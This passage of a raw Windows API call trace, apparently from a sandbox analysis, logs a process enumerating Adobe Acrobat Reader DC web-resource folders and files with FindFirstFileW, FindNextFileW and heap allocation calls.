ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.632] GetProcessHeap () returned 0xc10000 [0264.632] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.633] GetProcessHeap () returned 0xc10000 [0264.633] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\root\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.633] GetProcessHeap () returned 0xc10000 [0264.633] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.634] GetProcessHeap () returned 0xc10000 [0264.634] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ru-ru\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.634] GetProcessHeap () returned 0xc10000 [0264.634] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.634] GetProcessHeap () returned 0xc10000 [0264.634] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\sk-sk\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.635] GetProcessHeap () returned 0xc10000 [0264.635] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.635] GetProcessHeap () returned 0xc10000 [0264.635] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\sl-si\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.636] GetProcessHeap () returned 0xc10000 [0264.636] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.636] GetProcessHeap () returned 0xc10000 [0264.636] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\sl-sl\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.637] GetProcessHeap () returned 0xc10000 [0264.637] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.637] GetProcessHeap () returned 0xc10000 [0264.637] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\sv-se\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.637] GetProcessHeap () returned 0xc10000 [0264.637] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.637] GetProcessHeap () returned 0xc10000 [0264.637] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\tr-tr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.638] GetProcessHeap () returned 0xc10000 [0264.638] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.638] GetProcessHeap () returned 0xc10000 [0264.638] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\uk-ua\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0264.639] GetProcessHeap () returned 0xc10000 [0264.639] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.639] GetProcessHeap () returned 0xc10000 [0264.639] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\zh-cn\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.640] GetProcessHeap () returned 0xc10000 [0264.640] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.640] GetProcessHeap () returned 0xc10000 [0264.640] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0264.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\zh-tw\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.887] GetProcessHeap () returned 0xc10000 [0264.887] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0264.888] GetProcessHeap () returned 0xc10000 [0264.888] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.888] GetProcessHeap () returned 0xc10000 [0264.888] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0264.889] GetProcessHeap () returned 0xc10000 [0264.889] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0264.890] GetProcessHeap () returned 0xc10000 [0264.890] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0264.890] GetProcessHeap () returned 0xc10000 [0264.890] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0264.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0264.891] GetProcessHeap () returned 0xc10000 [0264.891] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0264.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0264.893] GetProcessHeap () returned 0xc10000 [0264.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0264.893] GetProcessHeap () returned 0xc10000 [0264.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0264.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0264.896] GetProcessHeap () returned 0xc10000 [0264.896] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0264.897] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images\\themeless\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.898] GetProcessHeap () returned 0xc10000 [0264.898] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0264.898] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0264.899] GetProcessHeap () returned 0xc10000 [0264.899] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0264.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0264.900] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.900] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0264.900] GetProcessHeap () returned 0xc10000 [0264.900] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0264.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark-2x.png", cAlternateFileName="CHECKM~2.PNG")) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26a, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark.png", cAlternateFileName="CHECKM~1.PNG")) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="close.svg", cAlternateFileName="")) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="help.svg", cAlternateFileName="")) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="help.svg", cAlternateFileName="")) returned 0 [0264.901] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0264.901] GetProcessHeap () returned 0xc10000 [0264.901] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0264.901] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0264.902] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0264.902] GetProcessHeap () returned 0xc10000 [0264.902] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0264.902] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0264.902] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0264.902] GetProcessHeap () returned 0xc10000 [0264.902] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0264.903] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0264.903] GetProcessHeap () returned 0xc10000 [0264.903] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0264.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0264.905] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.905] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0264.905] GetProcessHeap () returned 0xc10000 [0264.905] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0264.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat 